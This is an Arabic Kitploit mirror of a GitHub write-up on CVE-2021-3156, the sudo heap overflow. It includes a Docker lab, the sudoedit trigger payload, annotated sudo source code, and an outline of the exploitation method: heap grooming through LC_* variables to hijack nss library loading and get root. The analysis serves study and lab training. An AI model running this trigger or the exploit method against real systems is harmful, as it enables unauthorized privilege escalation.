Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-3156 — CVE-2021-3156 POC و Docker وكتابة تقرير التحليل | Kitploit
أدوات/GitHubGitHub/chenaotian/cve-2021-3156
تصعيد الامتيازاتتحليل الثغرات الأمنيةتحليل الكودالاستغلالالهندسة العكسيةمصممي الأخطاءالاختبار العشوائياختبار الاختراقالتعلم والتعليماستغلال الملفات الثنائيةمختبرات وتدريب عملي
11214منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
chenaotian/cve-2021-3156

CVE-2021-3156

CVE-2021-3156 POC و Docker وكتابة تقرير التحليل

عرض المستودع

CVE-2021-3156

[toc]

ملخص الثغرة

رقم الثغرة: CVE-2021-3156

درجة الثغرة:

المنتج المتأثر: Linux sudo

النطاق المتأثر: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1

شروط الاستغلال: محلي على Linux؛ sudo مع SUID وقابل للتشغيل

تأثير الاستغلال: رفع الامتيازات محليًا

الحصول على المصدر: https://www.sudo.ws/getting/source/

إعداد البيئة

بيئة Docker: chenaotian/cve-2021-3156

لقد قمت ببناء Docker الخاص بي، والذي يوفر:

  1. sudo مترجم بنفسي مع إمكانية تصحيح الأخطاء من المصدر
  2. glibc مع رموز التصحيح
  3. gdb وإضافات gdb: pwngdb & pwndbg
  4. exp.c وملف exp المترجم بنجاح

كل شيء موجود في الدليل /root:

image-20220124223312224

  • مجلد exp هو المجلد الذي يحتوي على كود exp والملف المترجم، ويمكن تشغيله مباشرة في هذا Docker.
  • glibc-2.27 هو مجلد المصدر لإصدار libc في هذه البيئة.
  • sudo-1.8.21 هو مجلد المصدر لـ sudo في هذه البيئة، وقد استخدمته للترجمة.

اختبار exp:``` cd exp su test ./exp whoami

انظر محتوى التصحيح في [بعض أوامر التصحيح](#一些调试命令)


## مبدأ الثغرة

تشغيل الثغرة payload```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

تحليل الشفرة المصدرية (sudo-1.8.21): أولاً، الدالة main في sudo.c (sudo.c: 133):```c int main(int argc, char *argv[], char *envp[]) { int nargc, ok, status = 0; char **nargv, **env_add; char **user_info, **command_info, **argv_out, **user_env_out; struct sudo_settings *settings; struct plugin_container *plugin, *next; sigset_t mask; debug_decl_vars(main, SUDO_DEBUG_MAIN)

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数,设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

}

- أولاً، يتم استدعاء دالة `parse_args` لمعالجة المعاملات التي أدخلناها. في الواقع، هنا أدخلنا فقط `-s` ولا يوجد شيء يمكن تعيينه، حيث يتم تعيين `sudo_mode` إلى `MODE_EDIT` و `MODE_SHELL`.

- ثم، بناءً على اختلاف `sudo_mode`، يقوم `MODE_EDIT` باستدعاء `policy_check`

بعد ذلك، دالة `policy_check` في `sudo.c` (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

تم استدعاء دالة الاستدعاء plugin->u.policy->check_policy، ويمكن تصحيح الأخطاء لرؤية الدالة الحقيقية لهذه الدالة:

image-20220123113326096

الدالة المستدعاة هي sudoers_policy_check في policy.c (policy.c: 760):```c static int sudoers_policy_check(int argc, char * const argv[], char *env_add[], char **command_infop[], char **argv_out[], char **user_env_out[]) { ··· ···

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

}

ثم تم استدعاء دالة `sudoers_policy_main` في `sudoers.c` (`sudoers.c: 224`):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

هنا تم تعيين بعض المتغيرات العامة، NewArgc و NewArgv كما يلي، إنها في الواقع المعاملات المُدخلة.

image-20220123113819116

ثم الدخول إلى دالة set_cmnd في sudoers.c (sudoers.c: 796):```c static int set_cmnd(void) { ··· ··· ··· ···

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size, 后续malloc 申请,没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中,逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

}

يحدث التجاوز هنا أيضًا، كما يتضح من التعليقات في الكود، يحدث تجاوز سعة الكومة عند النسخ إلى الكومة. المعنى الأصلي لهذا الكود ليس من الصعب فهمه: نسخ جميع الوسائط من `NewArgv` إلى الكومة، مفصولة بمسافات، وعند مواجهة `\ + حرف غير مسافات`، يتم نسخ ذلك الحرف فقط.

**لكنها لم تأخذ في الاعتبار حالة أن عنصرًا من `NewArgv` ينتهي بـ `\`، أي بنية `\+\x00`، و `\x00` لا ينتمي إلى الأحرف المسافات (غريب)! أي أنه بعد نسخ `\x00` إلى الكومة، يزداد المتغير `from` بمقدار (يزيد مرتين في حلقة واحدة) ويتجاوز فرصة جملة `while` التي تتحقق من علامة النهاية `\x00`، معتبرًا أن الوسائط لم يتم نسخها بعد، ويواصل النسخ إلى الخلف حتى يصادف `\x00` التالي.**

في هذا السيناريو، يمكن رؤية أن `\+\x00` يتبعه مباشرة الوسيط التالي `A*80`، لذا سيستمر النسخ إلى نهاية `A*80`. لكن لا تنسَ أنه سيتم لاحقًا معالجة الوسيط `A*80` بشكل فعلي، وسيتم نسخه مرة أخرى، لذلك تم نسخ `A*80` مرتين هنا، ولكن تم تخصيص القطعة (chunk) بناءً على حجم سلسلة واحدة من `A*80` فقط، وهو ما يتجاوز بكثير الطول المخصص للقطعة.

image-20220123113907744

ثم يحدث التجاوز، قبل النسخ:

image-20220123114036691

بعد النسخ:

image-20220123114137794

مسار تشغيل الثغرة الكلي هو (يمكنك ببساطة تعيين نقاط توقف عند هذه الدوال أثناء التصحيح):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## مبدأ استغلال الثغرة

تمت الإشارة إلى [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156)، **لكن طريقة تخطيط الكومة الخاصة به نادرة الحدوث؛ هنا تم تحليل طريقة تخطيط الكومة بالتفصيل**. من خلال تمرير متغيرات البيئة `LC_*` لتخطيط الكومة، ثم جعل القطعة الفائضة (vuln chunk) تغطي تمامًا الهيكل `service_user` الذي تحتاج دالة `nss_load_library` إلى تحميله كـ `.so`، واستبدال سلسلة اسم `.so` داخل الهيكل، ثم جعل البرنامج يقوم بتحميل الـ `.so` المحدد من قبلنا لتنفيذ تعليمات برمجية عشوائية.

على الرغم من أن المنطق يبدو واضحًا، إلا أن التفاصيل التي يجب التعامل معها لا تزال صعبة نوعًا ما:

1. هياكل البيانات والآليات ذات الصلة في `nss_load_library`
2. كيف يقوم `setlocale` بتخطيط الكومة عبر متغيرات البيئة `LC_*`

بعد ذلك، سنشير إلى القطعة التي يمكن أن يحدث فيها التجاوز عند حدوث الثغرة باسم `vuln chunk`، والهدف من التجاوز باسم `target chunk`.

### مبدأ `nss`

أولاً، لننظر إلى الكود الأساسي للاستغلال:
تنزيل الأداة